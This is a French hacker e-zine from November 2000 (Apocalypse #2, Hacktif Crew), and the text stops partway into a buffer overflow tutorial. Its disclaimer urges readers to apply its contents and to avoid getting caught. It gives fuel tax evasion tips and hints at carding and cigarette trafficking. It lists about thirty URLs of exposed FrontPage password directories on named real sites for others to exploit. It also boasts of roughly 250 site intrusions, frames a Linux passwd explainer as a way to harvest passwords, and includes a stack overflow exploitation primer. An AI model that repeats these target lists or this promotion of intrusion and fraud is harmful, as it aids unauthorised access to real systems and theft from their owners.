 HISSUE NOUMBEURRE TOUH  							 		   NOVEMBRE 2000


	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

  #####    ######     #####     ######    #####    #      #     #   ######     ######    ######
 #     #   #     #   #     #   #         #     #   #       #   #    #     #   #         #
 #     #   #     #   #     #   #         #     #   #        # #     #     #   #         #
 #######   ######    #     #   #         #######   #         #      ######     #####     ###
 #     #   #         #     #   #         #     #   #         #      #               #   #
 #     #   #         #     #   #         #     #   #         #      #               #   #
 #     #   #          #####     ######   #     #   #######   #      #         ######     ######

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	


			  --->   Mis en oeuvre par Redoxx & The Archivist   <---
				  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
		   	      --->       Edit par le Hacktif Crew      <---
				 	   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^


   	       WWW.HACKTIF.NET							UNDERNET : #CYBERPUNK




	    POUR LIRE CORRECTEMENT CET E-ZINE, OUVREZ-LE AVEC NOTEPAD ET SELECTIONNEZ
		      "PAS DE RETOUR A LA LIGNE" DANS LES OPTIONS DE L'AFFICHAGE.







		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 





	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

	                                  DISCLAMERDE

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	




	La diffusion et la lecture de cet e-zine sont prives : les membres de l'UnderGround sont
les seuls et uniques personnes ayant le droit de le lire.

	Si vous tes membre d'une organisation gouvernementale ayant pour but d'arrter les 
membres du mouvement CyberPunk ou du mouvement UnderGround, vous n'avez pas le droit de lire cet
e-zine, ni de le diffuser.

	Si vous tes un informateur quelconque d'une agence gouvernementale, vous n'avez pas le 
droit de lire cet e-zine, ni de le diffuser.

	Si vous tes membre d'une quipe de scurit publique ou prive cherchant  espionner les
faits et gestes des membres du mouvement UnderGround CyberPunk, vous n'avez pas le droit de lire 
cet e-zine, ni de le diffuser.

	Si vous tes un empaff vous croyant suprieur de par votre rang social, vous n'avez pas 
le droit de lire cet e-zine, ni de le diffuser.

	Si vous tes membre d'un parti d'extrme-droite ou que vous supportez de telles ides,
vous n'avez pas le droit de lire cet e-zine, ni de le diffuser.

	Si vous pensez que les CyberPunks ne sont qu'une bande de junkies dgnrs, alors vous
n'avez pas le droit de lire cet e-zine, ni de le diffuser.

	Si vous pensez que le capitalisme "MiKro$oFtiEn" est un exemple pour toutes les socits
de cette plante, vous n'avez pas le droit de lire cet e-zine, ni de le diffuser.

	Si vous pensez que les sites racistes, pdophiles, nazis ou sectaires ont leur place sur
Internet, vous n'avez pas le droit de lire cet e-zine, ni de le diffuser.

	Lire ce bulletin en n'tant pas dans l'UnderGround informatique constitue donc une 
violation des lois de Copyright et de Proprit Intellectuelle ainsi qu'un acte de malveillance 
envers les auteurs et les rdacteurs car il revient  lire des informations prives.

	Si vous tes membre de l'UnderGround, alors continuez  lire cet e-mag, n'hsitez surtout
pas  le diffuser et  mettre en pratique ce qui se trouve dcrit  l'intrieur, mais si vous
vous faites prendre, vous ne pourrez vous en prendre qu' vous mme, et nous vous prions de ne
pas citer cet e-zine en tant que source d'informations de nature illgale, mme dans le cas
d'un interrogatoire.

	Et rappelez-vous : rien n'est illgal tant qu'on ne se fait pas prendre. 



											(o: Hacktif Team :o)
											^^^^^^^^^^^^^^^^^^^^





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 










	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

	                                 	 EDITO

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	



	
	Bienvenue...
	

	Vous allez pntrer dans l'univers mystique que sont les mandres psychotiques de la
pense paranode auto-guide par l'instinct nvrotique  tendance schizophrne des membres de
la communaut CyberPunk...


	Bienvenue dans notre monde...


	A l'accoutume, mon indolente et oisive personne se refuse obstinment  accomplir tout
acte inutile dont l'intrt est nul alors que tant de mirifiques merveilles attendent que mon
humble mais passionn cerveau s'intresse  elles, cependant, je vais tenter de vous faire un
ditorial en bonne et due forme... 


	Eh oui, le Hacktif Crew grandit et vous avez devant vos grands yeux bahis et merveills
le second numro de l'e-zine APOCALYPSE :oP


	Tout d'abord, je vous rappelle que APOCALYPSE n'est mis en oeuvre que pour rassembler un
maximum d'articles venant de tous les horizons de chaque discipline et sur tous les sujets :
hacking, cracking, phreaking, social engineering, webmastering, trashing, arnaques, weed et
autres joyeuseuts hallucinognes, bibine, vol dans les magasins, tag, graphes et graffitis,
anarchie, dlires divers, culture cyberpunk, destruction et terrorisme, philosophie, gravage,
espionnage, fric facile, emmerder le monde, et tout ce qui est  tendance ultra-librale et
anti-conformiste.


	Je vous rappelle galement que ce journal tant fait par l'Underground pour l'Underground,
toute contribution est la bienvenue, sous quelque forme qu'elle soit, hormis les critiques qui
ne servent  rien car non-constructives (une insulte est d'ailleurs rarement constructive).


	A ce sujet, je voudrais profiter de cet dito pour dire  tous ceux qui passent le temps
 descendre le Hacktif Crew sur IRC et sur les forums (ils se reconnatront) que ce serait bien
mieux s'ils nous expliquaient quelles sont nos erreurs plutot que de nous traiter de lamers...
Eh oui, nous ne sommes pas des lites, et nous n'avons d'ailleurs jamais prtendu en tre ;
notre seul but est de runir des CyberPunks ayant un minimum de comptences pour changer nos
connaissances et pour tenter de construire quelque chose ensemble. Nous ne nous sommes jamais
vants de quoi que ce soit et nous ne nous posons ni en exemples pour les gnrations futures
ni en matres incontests de l'Underground, car nous sommes bien loin de mriter ce titre.


	Ce qui est marrant, c'est que le groupe Cryptel s'est galement fait chier dessus alors
qu'ils tentait de construire quelque chose, puis les membres ont t traits de trous du cul
quand ils se sont fait busted, alors que peu de hackers/crackers/phreakers franais en ont fait
autant qu'eux pour la Scne. C'est sr que c'est bien plus simple de critiquer les autres et
de se complaire dans son pseudo-savoir, son pseudo-litisme et son inactivit parce-que-le-
hacking-c'est-pas-bien-et-c'est-illgal-d'abord que de tenter de donner une bonne image de
l'Underground...


	Je rappelle aux petits frenchies qui nous lisent que le Hacktif Crew est compos galement
de belges et de suisses, et que, mme s'il est vrai que la Scne suisse n'est pas trs trs
dveloppe, la Scne belge se porte bien mieux que la Scne franaise, grce  un groupe nomm
Belgian Hackers Zone (greetz to Asmodeus) qui s'en est pris plein la gueule et qui a pourtant
persvr pour devenir le groupe respect qu'on sait.


	Donc tapez-nous dessus, chiez-nous au nez, pissez-nous  la raie, ptez-nous  la gueule,
mettez-nous des claques, insultez-nous, dfoncez-nous le boule, vous ne faites que nous motiver
encore plus pour continuer dans la voie o nous nous sommes engags, et chaque fois que l'un de
vous nous critique, on se rend compte d'une seule chose : on ne peut rien lui dire, on ne peut
rien lui faire, car il n'est rien.


	Pour parler d'autre chose, au sommaire de ce mag, vous trouverez un article de Klog sur
le buffer overflow crit il y a dja quelques temps, ainsi qu'un article qui sera certainement
dsapprouv car il fait la rhabilitation des trojans, la suite du Millenium Cracking Tutorial
de tHE ANALYST, et la suite du Phreaking for the New Scene, avec pour cette fois la Phreakon
Team en Guest-Star ;o), un point sur le groupe qu'est Hacktif, un article sur le carding, de la
backdoor dans les scripts IRC, du password Linux, des dlires, de la philo, ainsi qu'un tas
d'autres trucs qui, j'espre, vous plairont.


	Enfin, pour cloturer cet dito, je tiens  passer un big greeting  tous les membres de
Hacktif, ainsi qu' la mAdteAm (notamment Lonard, Lansciac, mAddAny, Solid-Snake, Jericho et
Ulysse31),  la Phreakon Team (notamment GanGStucK et Reklyd),  l'quipe de Epsylon (surtout
Mams et Cerise), au Trench Coat Handbook (surtout Der Freirahk qui nous a rejoint), aux membres
de la RtC (avec qui je suis rest en bons termes malgr mon dpart du groupe),  la Cryptik
Underground Team (mon autre petit groupe qui continue discrtement et tranquillement son petit
bonhomme de chemin), au groupe France Assassine (un truc fond par GarD dont vous pourrez trs
bientt constater les actions), au crew Not Phor Kops (principalement Sauron et Medgi), 
Th3_KiinG,  Kasim0d0,  MrPhilex,  TipiaX,  Flusher,  Douphi,  Spirit,  SyMBioZ et  tous
ceux que j'oublie mais avec qui j'ai appris ou dlir un jour ainsi qu'au magazine Newlook et 
son rdacteur en chef :o)



	Bon, ben voila, je crois que j'ai dit tout ce que je veux dire et que ce long dito va
se terminer dans les prochaines lignes, donc je vous souhaite une bonne lecture, et si cet
e-zine ne vous plait pas et que vous trouvez que la Hacktif Team rase le sol, ben je vous
recommande d'aller vous faire enculer par un babouin sodomite en rut, et je vous emmerde
profondment  :o)


	Allez, je vais m'arrter l pour cet intro, alors je vous souhaite une bonne lecture, et
j'espre que vous apprcierez ce zine.



											~)- Redoxx -(~
											^^^^^^^^^^^^^^^^^^ 




		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 





	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

	                                    CONTACTS

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	


							
							
							
	   	* * * * * * * * *		 			* * * * * * * * *
		*               *					*               *
		*   M A I L S   *					*     I R C     *
		*               *					*               *
		* * * * * * * * *				   	* * * * * * * * *
							
							
							
	Redoxx							Serveur :
		---> Redoxx@Mailme.Org					---> eu.undernet.org
								
							
	The Archivist						Chan de Hacktif :
		---> Root@Sefti.net	 				---> #CyberPunk
							
								
	tHE ANALYST							Autres chans frquents :
		---> Acid2600@Hotmail.Com				---> #madchat
										---> #thebhz
										---> #npk
	Phreakon Team							---> #skreel
		---> Phreakon@Caramail.Com				---> #nethack
										---> #mezza
										---> #crypteria
	Massine					
		---> Hhhhh...				
							
								
	TorKaL							* * * * * * * * *
		---> TorKaL@TorKaL.Org				*               *
									*   S I T E S   *
									*		    *
	Der Freirahk						* * * * * * * * *	
		---> Freirahk@Hotmail.Com	
							
							
	Drahiin						   	  www.hacktif.net
		---> Cryptel@Excite.Com				 
									   www.cut.fr.st
							
	Lonard							www.crackinggod.org
		---> Root@mAdchAt.org		
								         www.thebhz.org
							
	ThreaT							 www.phreakon.fr.st
		---> ThreaT@Caramail.Com	
									 www.cryptel.cjb.net
							
	Scurt								   www.madchat.org
		---> Scurt@Hackitf.Private.As 
									 www.handbook.ift.cx
							


	

		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 









	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

	                                   SOMMAIRE

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	





	                     -                 
								-
				TITRE				-		AUTEUR
								-
	                     -                 
								-
	        Le Point sur le Hacktif Crew	-		Redoxx
								-
	                     -                 
								-
	        		 Wangling			-	   The Archivist	
								-
	                     -                 
								-
	        	   Passwords Files		-		Massine
								-
	                     -                 
								-
	      Explication des Passwords Linux	-  Redoxx with help of Oktober
								-
	                     -                 
								-
	    	      Le Buffer OverFlow	 	-	  	 Klog
								-
	                     -                 
								-
	          Cellular Bal Intrusion		-	   The Archivist	
								-
	                     -                 
								-
	           Big Brother & Echelon		-	       TorKaL	
								-
	                     -                 
								-
		  Millenium Cracking Tutorial 	-	    tHE ANALYST
								-
	                     -                 
								-
		 Contrler un PC grce  IRC		-		Redoxx
								-
	                     -                 
								-
	  Carding, Explications & Utilisations	-	    Der Freirahk	
								-						
	                     -                 
								-
		 Phreaking for the New Scene		-    Redoxx & Phreakon Team
								-
	                     -                 
								-
  		  RatMode : l'Homo-Computus 		-	  	Lonard
								-
	                     -                 
								-
  		    Shell Script Infection 		-	  	 ThreaT
								-
	                     -                 
								-
		A qui profite l'information ?		-	    	Drahiin	
							      -
	                     -                 
								-
	        Rhabilitation des Trojans	 	-		Redoxx
								-
	                     -                 
								-
    Cracker DevilSword et Amliorer sa Scurit	-	    tHE ANALYST
								-
	                     -                 
								-
    		    Manuel du Pseudo-Hippie		-	    Der Freirahk
								-
	                     -                 
								-
			  Web Engineering			-		Scurt
								-
	                     -                 
								-
			   On recrute !!!			-		Redoxx
								-
	                     -                 
								-
				Outro				-		Redoxx
								-
	                     -                 

			




		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 






	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

		                     LE POINT SUR LE HACKTIF CREW

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	



	Depuis la cration du Hacktif Crew le 16 septembre 1999, il a chang plusieurs fois
d'orientation, s'est refond plusieurs fois, certains membres se faisant buster, d'autres
prenant leur "retraite", d'autres encore choisissant de quitter le groupe.

	Faisons donc un petit rappel historique de ce qu' t le Hacktif Crew.


	Tout d'abord, Hacktif fut la "Guilde des Hacktivistes pour un Web Libre et Indpendant"
fonde par moi-mme (Redoxx) et Neuromancien, avec l'aide du dsormais tristement clbre
RavenShadow (tout le monde fait des erreurs) et il comptait environ une trentaine de membres
mais le groupe restait trs discret et au final peu actif si ce n'est sur le plan du crashing
des ordinateurs de fachos ou de nazillons reprs sur des chats (po bien ! mdr).

	Neuromancien prenant sa retraite suite  un bust le 26 janvier 2000, je dcide d'en
faire un "Portail Underground des CyberPunks Indpendant" regroupant un maximum de groupe comme
la Cryptik Underground Team, HackerStorm, De-Generation-X, le RtCg4nG (depuis devenu la RtC)
ou le Cult of the Dead Surfer (cDs) ainsi que d'autres sceners solos. Le projet a assez bien
march, mais hormis quelques projets de faible envergure, le groupe n'a rien fait et est l
aussi rest trs discret.

	Finalement, le 16 septembre 2000, un an aprs la cration du groupe, j'ai pris la
dcision de refonder le groupe pour en faire un groupe htrogne et assez actif, en recrutant
un maximum de membres, mais tous comptents dans au moins un domaine consituant la Scne.

	Aujourd'hui, le groupe compte 17 membres de diffrentes nationalits (franais, belges,
suisses) a un site web qui marche plutot bien, ainsi qu'un chan IRC (#nethack sur Undernet)
assez frquent, a pirat environ 250 sites (dont une trs grande majorit par tHE ANALYST, vu
qu'il a pirat 238 sites en une semaine !!!), gre un petit forum via son site web, et, comme
tous les groupes qui essayent de faire quelque chose, s'en prend plein la gueule sur IRC ou 
grands coups de mails d'insultes (faut vraiment avoir que a  faire...).

	Mais, malgr les critiques peu constructives de certains, nous recevons l'aide et
l'approbation de beaucoup d'autres, donc nous pensons continuer sur le chemin o nous marchons,
avec un gros greeting  mAdchAt et  Epsylon qui nous aident beaucoup, en esprant (pourquoi
pas ?) devenir un jour un groupe comme le Chaos Computer Club de Hambourg (riche d'une bonne
centaine de membres).

	Malgr cette ambition (n'y voyez l aucune vantardise, juste une envie), notre principal
objectif est de relancer la scne franaise (les scnes suisses et belges se porte bien mieux
qu'elle alors que ce sont de bien plus petits pays que la France... cherchez l'erreur...) et
de tenter d'unifier un tant soit peu tout les sceners europens francophones, et, si possible,
d'arrter toutes ces petites guerres d'influence qui pourrissent l'Underground et qui ne sont
d'aucune utilit.

	Voila. Rendez-vous dans un an pour un autre point si on existe toujours :oP



											~)- Redoxx -(~
											^^^^^^^^^^^^^^^^^^





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 





	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

		                     		WANGLING

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	



	 Le Wangling qu' est ce que ' est?

	C' est tout les domaines ayant attrait au resquillages, et autres debrouilles evitant
de payer de l' argent ou autres. Cette nouvelles rubrique sera desormais presente dans chaque
zine d' Apocalypse.
	Certains mdiront dessus j' en suis sur, mais en attendant vous vous en servirez dans
tout votre quotidien et franchement vous en verrez vite l' utilite et m' en remercirez!!!

	En general, ces astuces ne sont pas diffuses pour en etre seul utilisateur et ainsi
seul profiteur, seulement je ne le visualise pas comme a et le partagerais donc avec vous au
fil des zines.

let's gooooo....



1)gazoil moins cher!!!
**********************


Vous avez remarqus que le prix de votre gazoil est obscur?
Vous ne comprenez pas les raisons d' un tel prix?
Vous avez des revenus tres modiques voir nul et payer le carburant 
vous vide votre compte et donc vous penalise!!!
Vous comprenez pourquoi? NON bien entendu, et personne ne le comprend,
vous voudriez le savoir? ou plutot, non, ne plus payer aussi cher?
vous n' avez qu' a suivre le guide!!!

Pour cette mthode il faut d' abord savoir que c' est illgal, mais 
surtout qu' il faut avoir une voiture qui circule au gazoil et non pas 
 l' essence, super, sans plomb ....
Pourquoi payer votre gazoil entre 5 et 6 fr quand on peut le payer 
entre 2 et 3fr? Tout simplement parceque l' Etat en  dcider ainsi ... 
Mais depuis quand vous ecoutez l' Etat? Alors on y va!

Vous  avez  sans doute remarqus, mais les chauffages au fuel marchent 
au fuel (normal vous me direz...), mais qu' est ce que le fuel?
Le fuel c' est tout simplement du gazoil.... et oui!!!

Donc pour payer moins cher il vous suffit donc d' acheter du fuel 
plutot que de passer a la pompeuse  biftons pour faire son plein!
Mais malin qu' est l' Etat, le fuel comporte un colorant de couleur 
ros qui permet de verifi si l' on ne l' utilise pas, et donc ne paye 
pas les taxes qui leur sont dut (pensez a leurs gosses, la psx2 sort 
bientot, y a noel, anniversaire, la z8 a acheter, une hausse sur les 
sandwitch au caviar a la tour d' argent....).
Mais bon les controles ne sont effectus que sur les camions...donc 
euhhhhh vais pas vous le dire de le faire, vous etes grands mais bon 
moi un plein me coute 100fr et vous?

Toute fois une utilisation accrue de fuel rendera votre pot un peut 
ros, dans tout les cas si un jour vous vous faites pincs (jamais eu 
de controles pour a!!! ni jamais entendu parler) et qu' on vous dit 
que vous avez utiliss du fuel dans votre voitre et que suivant la loi 
n [...] ahhhh baillez un bon coup et sortez leur que vous en avez 
utiliss c' est vrai, mais a but priv dans un lieu priv et que vous 
en avez tout  fait le droit!

Immaginez desormais ce que vous pourrez faire avec 200fr de moins par 
plein!!! Capotes a volontes, un gros 200 dans votre tete,... tout a 
grace a qui?




2) Cigarrettes moins cher!!!
****************************


Vous avez remarquez les rauseaux? ben en fait c' est des cigarettes,... 
lol non je plaisantes.

Cette fois l information est meme legale, vous pourrez payer vos 
cigarettes deux foit moin cher, a vous tente?.... non? bon tant pis. 
Quoi? finalement a vous tente? Oki...

En fait les lois sont toujours imprecises et il a toujours donc des
failles qui permettent de les contournes. Une des failles sur la 
taxation, est de petits pays qui ne sont pas taxs, he he he!

Allez donc sur www.yesmoke.com et commandez (non ce n est pas mon 
site, ni celui d' un ami, je ne touche rien!); la vous pourrez 
commandez vos cigarettes par cartes (et oui faut une carte pour a....
ou....hum... j' entend carding derriere moi? perso je vois pas le 
raport! :p). Dans tout les cas meme en restant dans la legalite, vous 
payerez vos cartouches entre 100 et 120fr livre a domicile, bureaux... 

Commandez maximum par 3 cartouches (sinon c' est suspect), et vous 
receverez un boh colis, avec le tampon de la douanne en prime, et pour 
beaucoup moin cher!

Ne vous inquietez pas j' ai tester a marche, et d' ailleurs je 
continues. Vous trouverez de suite ( en tant que personnes 
intelligentes que vous etes... non?) des petit affaires  faires autour 
de a (traffic de cigarettes? kesako ?).




											)-)< The Archivist ^>(-(
											^^^^^^^^^^^^^^^^^^^^^^^^





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 






	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

		                          PASSWORDS FILES

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	


	[NdRedoxx : ces 31 passwords files m'ont t transmis par Massine qui m'a demand de
les diffuser parce qu'il veut "faciliter le travail aux autres"... Faites-en bon usage !]



	http://www.educational-communications.com.au/_vti_pvt/

	http://www.mwsc.edu/~writing/_vti_pvt/

	http://homepages.uc.edu/~smitc/_vti_pvt/

	http://kilkhor.cc.iwate-u.ac.jp/cozmix/_vti_pvt/

	http://lion.cecs.missouri.edu/_vti_pvt/

	http://lion.cecs.missouri.edu/root/_vti_pvt/

	http://lion.cecs.missouri.edu/root/root/_vti_pvt/

	http://www.studybreaks.com/_vti_pvt/

	http://www.iqsnet.it/seric/_vti_pvt/

	http://www.islmusic.com/_vti_pvt/

	http://www.islmusic.com/_vti_pvt/

	http://www.universal.nl/users/hendriks/_vti_pvt/

	http://nic.cpuc.ca.gov/employmentweb/_vti_pvt/

	http://www.frostlineinc.com/_vti_pvt/

	http://www.bellc.com/_vti_pvt/

	http://www1.freeweb.ne.jp/~shnetwg/_vti_pvt/

	http://homepages.acenet.co.za/pulse/_vti_pvt/

	http://home.wanadoo.nl/theosplace/_vti_pvt/

	http://www.streetlight.com/_vti_pvt/

	http://www.studybreaks.com/_vti_pvt/

	http://www.iqsnet.it/seric/_vti_pvt/

	http://www.suthrlnd.demon.co.uk/_vti_pvt/

	http://www.wfubmc.edu/_vti_pvt/ghindex.html

	http://web2.netcarrier.net/_vti_pvt/

	http://www.pc-genius.com/_vti_pvt/

	http://www.islmusic.com/_vti_pvt/

	http://www.cptours.com/_vti_pvt/

	http://incolor.inetnebr.com/derekgb/_vti_pvt/

	http://www.universal.nl/users/hendriks/_vti_pvt/

	http://nic.cpuc.ca.gov/employmentweb/_vti_pvt/


	http://www.frostlineinc.com/_vti_pvt/
	



											-'- Massine -'-
											^^^^^^^^^^^^^^^^





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 









	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

	                       EXPLICATION DES PASSWORDS LINUX

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	



	Un des fichiers les plus important sur un systme Linux, et un des plus intressant pour
la plupart d'entre nous :o), est le fichier password.  J'ai donc dcid de vous offrir une
petite introduction  ce fichier.


D'abord, la structure :

	Chaque ligne reprsente un utilisateur, un daemon ou un service du systme... Chaque
ligne est spare en parties par des " : "  qui reprsentent chacun un segment d'information 
sur les accs et droits de l'utilisateur.

Ex : root:x:0:0::/root:/bin/bash

	- La premire partie de la ligne reprsente le nom de l'utilsateur (root).

	- La deuxime reprsente le mot de passe de l'utilisateur (il est encod).  Si un X ou
un * se trouve  cette place, c'est parce que les mots de passe se retrouvent dans un autre
fichier appel "fichier shadow" ; cette mesure sert de double scurit car si quelqu'un russi 
 se procurer le password file, il devra aussi avoir le shadow pour pouvoir dcrypter les
passwords.

	- Le troisime champ est l'UID (User ID) qui sert  identifier l'utilisateur par un
numro pour le systme d'exploitation.

	- La quatrime position est le GID (Group ID), qui identifie le # du groupe auquel
appartient cet utilisateur.

	- En cinquime position vient le champ de commentaire qui peut servir  mettre le vrai
nom d'un utilisateur ou d'autres infos.

	- La position suivante est le rpertoire "home" de l'utilisateur, le rpertoire o il se
retrouve lorsqu'il se loggue sur le systme.

	- En dernier, nous retrouvons la premire commande excute lorsque l'utilisateur se 
loggue, il s'agit habituellement d'un interprteur de commandes qui permettra  ce mme
utilisateur d'entrer certaines commande pour interagir avec l'OS.


Exemple de fichier passwd complet :     (ce fichier se trouve dans /etc/passwd)

			operator:x:11:0:operator:/root:/bin/bash
			root:x:0:0::/root:/bin/bash
			shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
			sync:x:5:0:sync:/sbin:/bin/sync
			bin:x:1:1:bin:/bin:
			ftp:x:404:1::/home/ftp:/bin/bash
			daemon:x:2:2:daemon:/sbin:
			adm:x:3:4:adm:/var/adm:
			lp:x:4:7:lp:/var/spool/lpd:
			mail:x:8:12:mail:/var/spool/mail:
			postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
			news:x:9:13:news:/usr/lib/news:
			uucp:x:10:14:uucp:/var/spool/uucppublic:
			man:x:13:15:man:/usr/man:
			haxorz:x:405:100:guest:/dev/null:/dev/null
			nobody:x:65534:100:nobody:/dev/null:
			daft:x:1000:100:,,,:/home/daft:/bin/bash




Son utilit :

	Le fichier permet entre autres de rcuprer le mot de passe d'un systme si ce dernier
ne les a pas mis en shadow. Il permet aussi d'enlever un utilisateur du systme en effacant la
ligne qui lui correspond dans le fichier.

NOTE : Ne tentez jamais de modifier le champ du mot de passe en le changeant directement dans
	 le fichier password ; il ne sera pas valide.



Scurits possibles :

	Il y a diffrent systmes qui enlvent le champ du password pour le remplacer en X ou
en * pour des raisons de scurit.

	Il y a d'abord le systme des SPF (shadowed password file) qui enlvera tous les
passwords du fichier password pour les mettre dans le fichier shadow.

	Ensuite, il y a le NIS (Network Information System) qui lui utilise une banque centralise
d'information sur les utilisateurs et leurs mots de passe (plutt rare).

	Enfin, il y a les YP (Yellow Pages) qui n'utilisent pas le champ rserv au mot de passe
dans le fichier password et qui fonctionne  la manire du NIS.

	Bien entendu, il y a des tas d'autres systmes mais le SPF et les YP sont les systmes
les plus courants.




										~)- Redoxx & Oktober -(~
										^^^^^^^^^^^^^^^^^^^^^^^^^^^^





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 







	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

		                        LE BUFFER OVERFFLOW

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	



				"L'exploitation du SUID par l'Homme" 
				   Par Klog, Promisc Security, Inc.


		     Dans le but d'expliquer ce qui est, de toute faon,
			   devenu chose commune chez les script kids.



INTRODUCTION
~~~~~~~~~~~~

Avant de dbuter, il serait ncessaire de comprendre en quoi consiste un 
buffer overflow. tant donner que je m'attends de vous a avoir certaines 
connaissances en C ainsi qu'en assembleur, je ne m'attarderai pas sur ce 
point. Lors de l'appel d'une procedure, le processeur sauvegarde d'abord le 
contenu actuel de %eip dans la stack du programme. Or, la stack ne contient 
pas _seulement_ que ces positions sauvegardes, mais aussi tout buffer alloue 
dynamiquement, ce qui signifie toute variable dclare a l'intrieur d'une 
procdure, ou toute variable servant d'argument a une procdure. Voici un 
bref exemple de ceci: 


	proc(char *buf2, char *buf1)
	{
		char buf3[10];	
		...			<--- breakpoint
	}

	main()
	{
		char buf0[4];
		...
		proc("pro", "misc"); 
	}
	
	
	STACK: [...             [buf3][%eip][buf2][buf1][buf0]...]


Suivant ce principe, nous serons vite intress a overwriter %eip sauvegarde 
dans la stack afin de faire excuter au processeur notre code arbitraire.  La 
question est _comment_ overwriter l'image d'%eip.  Hors, nous savons qu'en C, 
certaines fonctions peuvent crire dans un buffer et, si l'on lui ordonne 
d'crire un string plus grosse que le buffer destination, elle le fera 
au-del des limites du buffer.  On inclue parmi ces fonctions gets(), 
sprintf(), strcpy(), strcat(), ainsi que des fonctions juges "plus scures" 
telles que snprintf() ou bopcy(), si celles-ci sont mal utilises.  De plus, 
toute fonction de libc (ou toute autre librairie) faisant appel a de telles 
fonctions sont, elles aussi, contamines par la vulnrabilit, par exemple 
certaines vieilles versions de syslog().  Il serait aussi utile de surveiller 
toute assignation faite a des pointeurs, surtout lorsque celles-ci sont 
itratives, ou pire, rcursives.  

Pour rsumer, l'exploitation d'un buffer overflow consiste en une opration 
d'une grande prcision ou l'on tente d'overwriter l'image de %eip sauvegarde 
dans la stack, en tentant d'obliger une function vulnrable a crire au-del 
des limites d'un buffer loge dans le stack segment.  Voici donc une 
illustration de chacune des crations de buffer dans la stack de l'exemple 
prcedent, ainsi que la string qui servira a overwriter %eip si nous 
considrons que nous la copierons en exploitant, par exemple, strcpy(buf3, 
string):


	  BUF0:                      	   XXXX		
	  BUF1:                        XXXX   			
	  BUF2:                    XXXX    			
	   EIP:           [old_eip]
	  BUF3: XXXXXXXXXX				

	STRING: XXXXXXXXXX[new_eip]



L'EXPLOITATION
~~~~~~~~~~~~~~

Maintenant que nous avons pris connaissance de certains elements 
essentiels, il serait bien de mettre sur pied un plan d'attaque. Ainsi, nous 
savons qu'il est possible d'executer arbitrairement un quelconque code en 
overwritant %eip. La question est maintenant de savoir ou sera positionner ce 
